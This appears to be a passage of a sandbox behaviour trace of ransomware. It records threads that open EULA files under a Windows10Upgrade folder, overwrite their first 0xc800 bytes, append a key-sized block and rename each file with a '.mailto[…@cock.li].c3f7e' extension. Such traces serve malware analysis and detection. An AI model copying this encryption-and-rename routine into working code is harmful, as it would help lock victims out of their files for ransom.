	[0088.038] NtQuerySystemTime (in: CurrentTime=0x2aebf938 | out: CurrentTime=0x2aebf938*=132251868147726177) returned 0x0
	[0088.038] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x4d01f5df
	[0088.038] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0xf935f5f1
	[0088.038] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0xd290fef5
	[0088.038] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0xc25214a
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x94f4696b
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x4ace401f
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x2f0ce1e3
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x583a1e8c
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0xf9785457
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0xb5af7f58
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x3a1f53b7
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x6788ce46
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0xc31215b7
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x3486cca
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x315f25d7
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x28408643
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x1e471fa3
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x6cec67f
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x79b40f7e
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x9997d7e6
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x2cbe064b
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x50eddf86
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x126174a7
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x2781cfff
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x62745f31
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x6673f2c1
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x941446ac
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x5e0ecb29
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x89fe4bba
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x575d1772
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x6e077b81
	[0088.039] RtlRandom (in: Seed=0x2aebf944 | out: Seed=0x2aebf944) returned 0x4e053b3c
	[0088.048] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.048] ReadFile (in: hFile=0x1b44, lpBuffer=0x4887048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2aebf918, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesRead=0x2aebf918*=0xc800, lpOverlapped=0x0) returned 1
	[0088.057] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.058] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x480d7f0
	[0088.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0088.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0088.062] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0088.062] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.062] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.063] WriteFile (in: hFile=0x1b44, lpBuffer=0x480d7f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2aebf918, lpOverlapped=0x0 | out: lpBuffer=0x480d7f0*, lpNumberOfBytesWritten=0x2aebf918*=0xc800, lpOverlapped=0x0) returned 1
	[0088.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x480d7f0) returned 1
	[0088.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0088.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e45ff8
	[0088.064] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.064] WriteFile (in: hFile=0x1b44, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2aebf998, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2aebf998*=0x10d, lpOverlapped=0x0) returned 1
	[0088.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45d58) returned 1
	[0088.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0088.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45ff8) returned 1
	[0088.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0088.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0088.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0088.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0088.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.066] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm"
	[0088.066] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.066] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2aebf950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.067] NtQueryInformationFile (in: FileHandle=0x1b44, IoStatusBlock=0x2aebf95c, FileInformation=0x2aebf934, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2aebf95c, FileInformation=0x2aebf934) returned 0x0
	[0088.068] NtSetInformationFile (FileHandle=0x1b44, IoStatusBlock=0x2aebf95c, FileInformation=0x2aebf934, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.068] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.068] FlushFileBuffers (hFile=0x1b44) returned 1
	[0093.250] CloseHandle (hObject=0x1b44) 

Thread:
	id = 1237
	os_tid = 0x1fc0

	[0088.067] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm")) returned 0x20
	[0088.070] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm", dwFileAttributes=0x20) returned 1
	[0088.070] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b48
	[0088.070] GetFileSizeEx (in: hFile=0x1b48, lpFileSize=0x2af3f8b0 | out: lpFileSize=0x2af3f8b0*=58549) returned 1
	[0088.070] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0xe4b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.070] ReadFile (in: hFile=0x1b48, lpBuffer=0x2af3f834, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2af3f830, lpOverlapped=0x0 | out: lpBuffer=0x2af3f834*, lpNumberOfBytesRead=0x2af3f830*=0x4, lpOverlapped=0x0) returned 1
	[0088.071] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0088.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0088.071] NtQuerySystemTime (in: CurrentTime=0x2af3f810 | out: CurrentTime=0x2af3f810*=132251868148058492) returned 0x0
	[0088.071] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xcad4d0e3
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x58a888ad
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xb00e574b
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xd0f1e125
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x9d58746
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x47a9e3cf
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x2e26059f
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xe4b322cd
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xb4c9f3e4
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x779ed49b
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xcc6cc63
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x8ad73cd0
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xd8fbd55d
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x33975b8f
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x27fdc2d3
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x961a40d5
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x2c056814
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x1442457
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x9ccc7ad1
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x6cedb4c9
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x61d9b108
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x6c42f5e8
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x3d5d13e0
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x77608962
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x77c60562
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0x4ab5b8df
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xfb42111a
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xbe3ddc12
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xf2ac4741
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xc28d6b7d
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xe27d9e51
	[0088.072] RtlRandom (in: Seed=0x2af3f81c | out: Seed=0x2af3f81c) returned 0xeb8e0ed3
	[0088.081] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.081] ReadFile (in: hFile=0x1b48, lpBuffer=0x4887048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2af3f7f0, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesRead=0x2af3f7f0*=0xc800, lpOverlapped=0x0) returned 1
	[0088.082] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.082] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x480d7f0
	[0088.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0088.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0088.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0088.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.084] WriteFile (in: hFile=0x1b48, lpBuffer=0x480d7f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2af3f7f0, lpOverlapped=0x0 | out: lpBuffer=0x480d7f0*, lpNumberOfBytesWritten=0x2af3f7f0*=0xc800, lpOverlapped=0x0) returned 1
	[0088.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x480d7f0) returned 1
	[0088.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0088.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e45ff8
	[0088.085] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.085] WriteFile (in: hFile=0x1b48, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2af3f870, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2af3f870*=0x10d, lpOverlapped=0x0) returned 1
	[0088.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45d58) returned 1
	[0088.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0088.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45ff8) returned 1
	[0088.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0088.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0088.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0088.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0088.087] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.087] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm"
	[0088.087] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.087] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2af3f828, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.087] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.087] NtQueryInformationFile (in: FileHandle=0x1b48, IoStatusBlock=0x2af3f834, FileInformation=0x2af3f80c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2af3f834, FileInformation=0x2af3f80c) returned 0x0
	[0088.087] NtSetInformationFile (FileHandle=0x1b48, IoStatusBlock=0x2af3f834, FileInformation=0x2af3f80c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.088] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.088] FlushFileBuffers (hFile=0x1b48) returned 1
	[0093.250] CloseHandle (hObject=0x1b48) 

Thread:
	id = 1238
	os_tid = 0x1fc4

	[0088.089] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm")) returned 0x20
	[0088.089] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm", dwFileAttributes=0x20) returned 1
	[0088.089] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b4c
	[0088.089] GetFileSizeEx (in: hFile=0x1b4c, lpFileSize=0x2afbf918 | out: lpFileSize=0x2afbf918*=69816) returned 1
	[0088.089] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x110b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.089] ReadFile (in: hFile=0x1b4c, lpBuffer=0x2afbf89c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2afbf898, lpOverlapped=0x0 | out: lpBuffer=0x2afbf89c*, lpNumberOfBytesRead=0x2afbf898*=0x4, lpOverlapped=0x0) returned 1
	[0088.091] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0088.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0088.091] NtQuerySystemTime (in: CurrentTime=0x2afbf878 | out: CurrentTime=0x2afbf878*=132251868148350435) returned 0x0
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x8257774d
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x10bd5e14
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xcf0b78e
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x3fbcef42
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xe9fa5543
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xf55bf568
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x25aaccde
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xc45b7b68
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xa1b6a884
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xc4c914d6
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x58d2c763
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xc6aea754
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x75933e4d
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xa653c475
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x7fa729af
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xc628c864
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xbb5c0990
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x441ece0a
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x13fb9944
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x7afe996e
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x72e21f31
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x1c7a435
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x36c6f6d4
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x3f22156a
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x446842f6
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x75e0ce38
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x5a46db3e
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x540e5b9
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0xbb16d52b
	[0088.091] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x78f7d04e
	[0088.092] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x7ab749a7
	[0088.092] RtlRandom (in: Seed=0x2afbf884 | out: Seed=0x2afbf884) returned 0x5fd19e02
	[0088.100] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.100] ReadFile (in: hFile=0x1b4c, lpBuffer=0x4887048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2afbf858, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesRead=0x2afbf858*=0xc800, lpOverlapped=0x0) returned 1
	[0088.101] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x480d7f0
	[0088.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0088.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0088.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0088.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.102] WriteFile (in: hFile=0x1b4c, lpBuffer=0x480d7f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2afbf858, lpOverlapped=0x0 | out: lpBuffer=0x480d7f0*, lpNumberOfBytesWritten=0x2afbf858*=0xc800, lpOverlapped=0x0) returned 1
	[0088.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x480d7f0) returned 1
	[0088.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0088.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e45ff8
